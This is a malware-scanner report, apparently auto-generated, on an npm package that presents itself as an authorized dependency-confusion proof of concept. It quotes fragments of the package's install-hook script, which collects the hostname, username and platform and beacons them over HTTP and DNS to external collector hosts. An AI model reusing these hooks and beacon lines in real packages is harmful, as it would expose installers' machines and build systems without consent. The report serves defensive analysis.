registry / Data exfiltration / @myorder-frontend-commons/analytics / 1.2.0

@myorder-frontend-commons/analytics@1.2.0

AUTHORIZED security research PoC (dependency-confusion test for Allegro, with written permission from Allegro Cybersecurity). Harmless: emits a single host-identification beacon on install to confirm code execution in the build/CI environment, then exits.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 11d ago · by lpm-firewall-ai

The lifecycle hooks and active send path establish automatic disclosure of host-identifying data to publisher-selected external collectors without installer consent in source. This meets the installation beacon policy for blocking.

Static reason

One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review

Trigger

Installing the package, which runs its preinstall, install, and postinstall scripts.

Impact

The collectors can identify the machine and user that installed the package, including in build or CI environments.

Mechanism

Each lifecycle script runs poc.js, which collects host and user details, encodes them into an HTTP request path, and sends requests to the configured collectors. The defaults are publisher-selected external hosts.

Attack narrative

Package installation automatically invokes poc.js through three lifecycle hooks. The script collects identifying host and user information and sends it over HTTP to default external collectors; the primary collector hostname also encodes host-derived data for DNS visibility. This establishes automatic installation-time data disclosure.

AI rationale

Evidence

package.jsonpoc.js

Network endpoints2

db4jftohu4noreqdanngpnb3ger45ykrt.oast.fun80-190-83-27.nip.io

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json runs poc.js automatically in preinstall, install, and postinstall.
poc.js defaults to external OOB and backup collector hosts.
poc.js collects the machine hostname, username, and platform details.
poc.js places collected fields in the HTTP request path and sends HTTP requests to the selected hosts.
poc.js sends to both the host-derived OOB subdomain and the backup collector.

Evidence against

Behavioral surface

Source

EnvironmentVarsNetwork

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 4.74 KB of source

Source & flagged code

8 flagged

package.jsonView file

•scripts.install = node poc.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"preinstall": "node poc.js", "install": "node poc.js", "postinstall": "node poc.js" }, "

High

Suspicious Lifecycle Evidence

package.json runs poc.js automatically in preinstall, install, and postinstall.

package.jsonView on unpkg · L7

poc.jsView file

•matchType = malicious_source_fingerprint_signature signature = 792537aeadbf189f signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @myorder-frontend-commons/analytics@0.1.0 matchedPath = poc.js matchedIdentity = npm:[redacted]:0.1.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

poc.jsView on unpkg

26var OOB = process.env.POC_CALLBACK_DOMAIN || '[redacted].oast.fun'; // interactsh (DNS+HTTP) var BACKUP = process.env.POC_BACKUP_HOST || '80-190-83-27.nip.io

High

Ai Review Evidence

poc.js defaults to external OOB and backup collector hosts.

poc.jsView on unpkg · L26

43var info = { poc: TOKEN, trigger: process.env.npm[redacted] || 'manual', // preinstall | postinstall | install ... pkg: '@myorder-frontend-commons/analytics', pkgVersion: safe(function () { return require('./package.json').version; }, '?'), hostname: safe(function () { return os.hostname(); }, '?'), user: safe(function () { return os.userInfo().username; }, '?'), platform: safe(function () { return os.platform() + '-' + os.arch() + '-' + os.release(); }, '?'), cw

High

Ai Review Evidence

poc.js collects the machine hostname, username, and platform details.

poc.jsView on unpkg · L43

59var path = '/beacon/' + TOKEN + '?' + qs; // DNS-visible breadcrumb: hex(hostname|user|version) as a leading label so that // even a bare D

High

Ai Review Evidence

poc.js places collected fields in the HTTP request path and sends HTTP requests to the selected hosts.

poc.jsView on unpkg · L59

70var req = http.get( { host: host, port: 80, path: path, timeout: 4000, headers: { 'User-Agent': 'allegro-dc-poc/1.0 (authorized security test)' } }, function (res) { res.resume(); } ); req.on('error', f

High

Ai Review Evidence

poc.js places collected fields in the HTTP request path and sends HTTP requests to the selected hosts.

poc.jsView on unpkg · L70

80beacon(label + '.' + OOB); // primary: interactsh (catches DNS even if HTTP blocked) beacon(BACKUP); /

High

Ai Review Evidence

poc.js sends to both the host-derived OOB subdomain and the backup collector.

poc.jsView on unpkg · L80

Source & flagged code

8 flagged · loading source

package.jsonView file

•scripts.install = node poc.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"preinstall": "node poc.js", "install": "node poc.js", "postinstall": "node poc.js" }, "

High

Suspicious Lifecycle Evidence

package.json runs poc.js automatically in preinstall, install, and postinstall.

package.jsonView on unpkg · L7

poc.jsView file

High

Known Malware Source Fingerprint Signature

Findings

8 High2 Medium1 Low

HighInstall Time Lifecycle Scriptspackage.json

HighKnown Malware Source Fingerprint Signaturepoc.js

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidencepoc.js

MediumNetwork

MediumEnvironment Vars

LowScripts Present

Affected versions and remediation

This report applies to @myorder-frontend-commons/analytics@1.2.0.

See all versions of @myorder-frontend-commons/analytics for other recorded verdicts.

Avoid installing @myorder-frontend-commons/analytics@1.2.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-13 23:00:04.836Z (UTC).

Source advisory published: 2026-10-09 19:31:38.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Related packages

Other data exfiltration packages

Behavioral surface

Related packages

Other data exfiltration packages

Source & flagged code